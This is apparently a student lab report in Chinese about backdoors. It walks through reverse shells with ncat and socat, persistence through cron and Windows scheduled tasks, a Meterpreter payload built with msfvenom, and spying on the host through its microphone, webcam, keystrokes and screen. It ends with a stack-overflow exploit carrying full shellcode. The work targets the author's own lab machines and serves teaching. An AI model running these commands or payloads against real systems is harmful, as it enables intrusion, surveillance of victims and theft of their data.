網路對抗技術Exp2-後門原理與實踐
阿新 • • 發佈:2021-03-29
**後門概念**
後門就是不經過正常認證流程而訪問系統的通道。
哪裡有後門呢?
編譯器留後門
作業系統留後門
最常見的當然還是應用程式中留後門
還有就是潛伏於作業系統中或偽裝為特定應用的專用後門程式。
--
下面是近些年的一些例子:
編譯器:蘋果Xcode後門事件。蘋果Xcode後門事件中招的APP包括:微信、網易雲音樂、滴滴出行、12306等76個軟體,影響到幾億使用者。
作業系統:政府VS廠商。蘋果公開拒絕FBI要求設定後門的要求。那些沒拒絕的當然不會說話。
作業系統:深入解讀MS14-068漏洞:微軟精心策劃的後門?。其實細節我也沒太看懂,看出來蠻可疑。
韌體:更多思科路由器發現後門:中國有4臺
應用:研究人員發現macOS版Skype內建了後門
應用:從廣升“後門”事件看企業道德底線
應用:如何評價烏雲漏洞平臺曝百度旗下多款App存在WormHole後門?
--
我們接下來講得是一個相對狹義一點的後門的概念,
特指潛伏於作業系統中專門做後門的一個程式,
“壞人”可以連線這個程式
遠端執行各種指令。
概念和木馬有重疊
--
* 首先得有這麼一個程式
* netcat 系列
* meterpreter
* intersect
* ...特別多
* 其次得放到系統裡
* 正版軟體故意或被攻擊,包含後門
* 正版庫檔案中包含後門
* 本質上,需要誘騙你下載操作的,都屬於各種釣魚吧
* 安裝包中包含後門,放到網上供下載
* 繫結到特定檔案中,放到網上供下載
* 直接傳送惡意程式給你
* 直接傳送攻擊性釣魚連結給你,惡意網站種馬
* 撿到個U盤,打開個檔案看看?
* 煤女帥鍋拿U盤直接拷給你
* 攻擊系統漏洞,獲取控制權後,安裝後門
* 再次還得執行起來
* 開機自啟動技術
* win的定時任務
* linux的cron
* 偽裝成常用軟體,誘使使用者點選
* 木馬化正常軟體
* 最後還得不被本機的惡意程式碼檢測程式發現
* 惡意程式碼免殺技術
* 也不能被本機的或網路上的防火牆發現
* 反彈式連線
* 加密連線
* 隧道技術
基礎問題回答
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
答:從非正規途徑下載軟體,如果軟體捆綁有木馬病毒,則會導致在電腦系統內留下後門,黑客就可以通過該可執行檔案對pc進行竊聽
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
Windows:設定為開機自啟動、修改登錄檔項、使用者執行帶有後門的可執行檔案
Linux:通過crontab功能將後門設為定時啟動;也可以通過對正常軟體繫結注入shellcode
(3)Meterpreter有哪些給你映像深刻的功能?
錄影和錄音功能,以及截圖功能
(4)如何發現自己有系統有沒有被安裝後門?
利用防毒軟體進行定期的排查
檢視任務計劃程式、開機自啟動項、登錄檔項中是否有可疑程式
**常用的後門工具**
win獲得linux的shell
先在cmd指令下獲得win的IP,`ipconfig`
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328201957733-1091599541.png)
從課程活動主頁下載ncat到E盤,在cmd中利用cd指令進入到ncat資料夾
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328202214367-494008786.png)
輸入指令`ncat.exe -l -p 埠號`開啟監聽
在kali中輸入指令`ncat 192.168.50.13 -e /bin/sh`,這裡的ip是win的ip
這樣就可以在win下面執行kali的指令,比如輸入ls指令
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328202745757-802072502.png)
Win成功獲得kali的shell
在這裡,kali是監聽方,因此在kali中輸入指令`nc -l -p 4307`開啟監聽
在win的ncat中輸入`ncat.exe -e cmd.exe 192.168.220.128 4307`這裡的ip是kali的ip
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328203101192-664067833.png)
這時我們就可以在kali中進行對win的指令操作,比如dir指令或者ipconfig指令
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328203345172-2112011842.png)
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328203355592-1373540806.png)
使用nc傳輸資料
Windows下監聽5318埠,`ncat.exe -l 4307`
kali反彈連線到Windows的5318埠,`nc 192.168.50.13 4307`
連線建立成功,雙方可以相互傳輸資料
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328203411673-1544092239.png)
這裡雙方就可以互動聊天了
使用nc傳輸檔案(win-->kali)
首先我們需要在ncat資料夾目錄下新建一個txt文字檔案,命名為file.in
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328204337512-1680162775.png)
kali下監聽4307埠,並把收到的資料儲存到4307中,nc -l -p 8888 > 4307.txt
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328205005111-1409211464.png)
然後在win的cmd中輸入指令`ncat 192.168.220.128 < file.in`這裡的ip是kali的ip
緊接著我們就可以在kali的個人資料夾下面找到4307.txt的檔案,說明kali接受到了win傳來的檔案
使用nc傳輸檔案(kali-->win)
這裡我為了方便起見,只是把上面win穿到kali的檔案又給它傳回去,同時也是驗證上述kali接受到的檔案是否是win傳來的檔案
Windows下監聽2021埠,並把收到的資料儲存到file1中,`ncat.exe -l 2021 > file1`
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328205141591-1318565116.png)
kali反彈連線到Windows的2021埠,`nc 192.168.50.13 2021 < 4307.txt`
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328205222150-1119041804.png)
連線建立成功,Win可以收到kali發來的檔案。
我們開啟file.1檔案,發現內容和file.in檔案內容都是一樣的,說明檔案一直是正確傳輸的
**Meterpreter**
後門就是一個程式。
傳統的理解是:有人編寫一個後門程式,大家拿來用。
後來有一些牛人呢,就想編寫一個平臺能生成後門程式。這個平臺呢,把後門的
基本功能(基本的連線、執行指令),
擴充套件功能(如蒐集使用者資訊、安裝服務等功能),
編碼模式,
執行平臺,
以及執行引數
全都做成零件或可調整的引數。用的時候按需要組合,就可以生成一個可執行檔案。
--
典型的平臺就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion
--
引數說明:
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字元。
LHOST 是反彈回連的IP
LPORT 是回連的埠
-f 生成檔案的型別
> 輸出到哪個檔案
任務一:使用netcat獲取主機操作Shell,cron啟動
Cron是Linux下的定時任務,每一分鐘執行一次,根據配置檔案執行預設的指令。詳細說明可以"man cron"
在win下,監聽0419埠
在kali中輸入指令`crontab -e`指令編輯一條定時任務
(crontab指令增加一條定時任務,"-e"表示編輯)選擇編輯器時選擇3,第一次會提示選擇編輯器,以後就不會提示了
在最後一行新增`58 * * * * /bin/netcat 192.168.50.13 -e /bin/sh`,意思是在每個小時的第58分鐘反向連線Windows主機的5318埠,
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328215956149-771223422.png)
星號代表執行時間,分別是 :分、時、日、月、每週七天中的某天
設定成58的原因是我當時的時間快到58分了,為了能立馬看到效果,所以將時間設定成了58
設定完成後按esc,輸入`:wq`退出
等到58分的時候win和kali就自動連上了,此時在win中就能輸入kali的指令了
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328220825864-1111564564.png)
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
socat是ncat的增強版,它使用的格式是`socat [options] `,其中兩個address是必選項,而options是可選項。
socat的基本功能就是建立兩個雙向的位元組流,資料就在其間傳輸,引數address就是代表了其中的一個方向。所謂流,代表了資料的流向,而資料則可以有許多不同的型別,命令中也就相應需要許多選項對各種不同的型別資料流進行限定與說明。
`Win+R`輸入`compmgmt.msc`開啟“計算機管理”
填寫任務名->新建一個觸發器
在操作->程式或指令碼中選擇你的socat.exe檔案的路徑,在新增引數一欄填寫tcp-listen:4307 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe繫結到埠4307,同時把cmd.exe的stderr重定向到stdout上
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328221442933-1885059484.png)
這樣就添加了一個新的任務計劃程式,可以看出它正處於準備就緒狀態,到點就開始運行了,即使錯過了定時的時間點,也可以直接右鍵單擊該任務然後選擇執行,這樣可以隨時執行
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328221553360-978009470.png)
開始執行後,Windows會彈出一個命令列視窗,讓它開著不要關閉。此時在kali中輸入socat - tcp:192.168.50.13:4307,此時我們就可以在kali裡面呼叫win的指令了
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328221958955-1772419554.png)
任務三:使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
在Kali上執行指令`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.128 LPORT=1843 -f exe > 20184307_backdoor.exe`,注意這裡的IP地址為控制端IP,即LinuxIP,可見已經生成了後門程式“20184307_backdoor.exe”
在Win命令列中進入ncat目錄下,執行命令`ncat.exe -l 1843 > 20184307_backdoor.exe`,這樣被控主機也就是Windows主機就進入了接收檔案模式,在kali中執行命令n`c 198.168.50.13 1843 < 20184307_backdoor.exe`,IP地址填Windows主機的,將剛剛生成的檔案從kali傳送到Windows主機
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223608872-567275598.png)
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328222456554-444772488.png)
此時我們可以看到在ncat目錄下接受到了20184307backdoor檔案
下面在kali中輸入`msfconsole`,進入MSF控制檯
輸入`use exploit/multi/handler`使用監聽模組,設定payload
`set payload windows/meterpreter/reverse_tcp`,使用和生成後門程式時相同的payload
`set LHOST 198.168.220.128`,這裡用的是LinuxIP,和生成後門程式時指定的IP相同
`set LPORT 1843`,同樣要使用相同的埠
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328222820535-1963238584.png)
設定完成後,執行監聽,輸入“exploit”
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328222959481-1469210035.png)
此時電腦自帶的防毒軟體已經發現後門,視為木馬程式並刪除,我從恢復區把它恢復
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223116864-1381384403.png)
現在我們可以在kali中呼叫win指令,如圖輸入dir,可以看到nact下面的很多檔案目錄
任務四:使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
使用`record_mic`指令可以截獲一段音訊,可以用`-d`選項設定錄製時間
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223633394-1663080983.png)
使用`webcam_snap`指令可以使用攝像頭進行拍照
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223659212-1290171126.jpg)
使用`keyscan_start`指令開始記錄下擊鍵的過程,使用`keyscan_dump`指令讀取擊鍵的記錄
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223811006-795164929.png)
可以發現我使用了`ctrl+c`鍵
使用`screenshot`指令可以進行截圖,效果如下
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328223931036-265074265.png)
先使用`getuid`指令檢視當前使用者,使用`getsystem`指令進行提權
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328224042536-1223206259.png)
任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell
首先複製一個pwn1檔案到exp2中,重新命名為pwn4307
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328225104502-799482634.png)
這裡的步驟和實驗一基本一樣
首先是設定堆疊可行並且關閉地址隨機化,設定完要緊接著驗證一下。這樣設定是為了簡化實驗過程,為本操作的成功執行創設條件。
我們用`execstack -s pwn4307`來設定堆疊可行,用`execstack -q pwn4307`來驗證堆疊可行有沒有設定成功,看見“X 檔名”這種格式的輸出就代表設定成功了。
用`sudo sh -c " echo 0 > /proc/sys/kernel/randomize_va_space`來關閉地址隨機化,作用是往一個指定的檔案裡寫了一個0,用`more /proc/sys/kernel/randomize_va_space`來驗證有沒有關閉成功,這一條命令的輸出如果是0的話就表示關閉成功了。
首地址寫入下面這段程式碼中:
`perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input`
視窗執行自己的pwn4307檔案,我們在檔案所在的目錄下輸入(cat input;cat) | ./pwn4307
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328230126631-1194895325.png)
然後在第二個視窗,輸入`ps -ef | grep pwn4307`,檢視pwn4307的程序號
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328230223289-571463719.png)
開啟gdb
輸入`disassemble foo`,針對foo函式進行反彙編,可以看到ret的地址為0x080484ae,所以我們就在這個地址設定斷點,指令為`break *0x080484ae`。此時系統會提示自己說,Breakpoint 1 at 0x80484ae,這表明斷點設定完畢。
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328232226505-1944735473.png)
我們在第一個命令列終端按下一次回車鍵,然後回到第二個終端按下c鍵繼續執行。經歷過上面的操作後,我們在第二個終端輸入info r esp檢視棧頂指標所在的位置及其存放的資料
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328232759656-1628691715.png)
我們發現esp暫存器的地址是0*ffffd1ac,緊接著我們用`x/16x 0xffffd18c`檢視該地址的及其臨近地址所存放內容。我們找到了0x04030201,這也正是返回地址的位置。shellcode就挨著,加上4就是了,所以shellcode的地址是 0xffffd1b0
我們把0*ffffd1b0寫入input4307,
`perl -e 'print "A" x 32;print "\xb0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input4307`
輸入指令(cat input4307;cat) | ./pwn4307
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328233519710-1615934874.png)
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328233537366-258897737.png)
最後通過輸入雙方通訊ip和埠號建立連線
![](https://img2020.cnblogs.com/blog/1943155/202103/1943155-20210328233759748-1237376823.png)
**實驗中遇到的問題**
首先就是我們搞清楚linux和win誰是接受方,誰是監聽方,這關係到輸入的指令和ip,我在做實驗的時候經常把二者弄反,導致實驗經常中斷。
**實驗中體會**
這次實驗遇到的困難很多,有求助同學和部落格,我們目前學的只是皮毛,更多的關於網路攻防的知識還需要進一步自己去學習。同時我也明白了在資訊化時代,很有可能在不經意間自己的資訊就洩露了,所以保護好個人隱私至關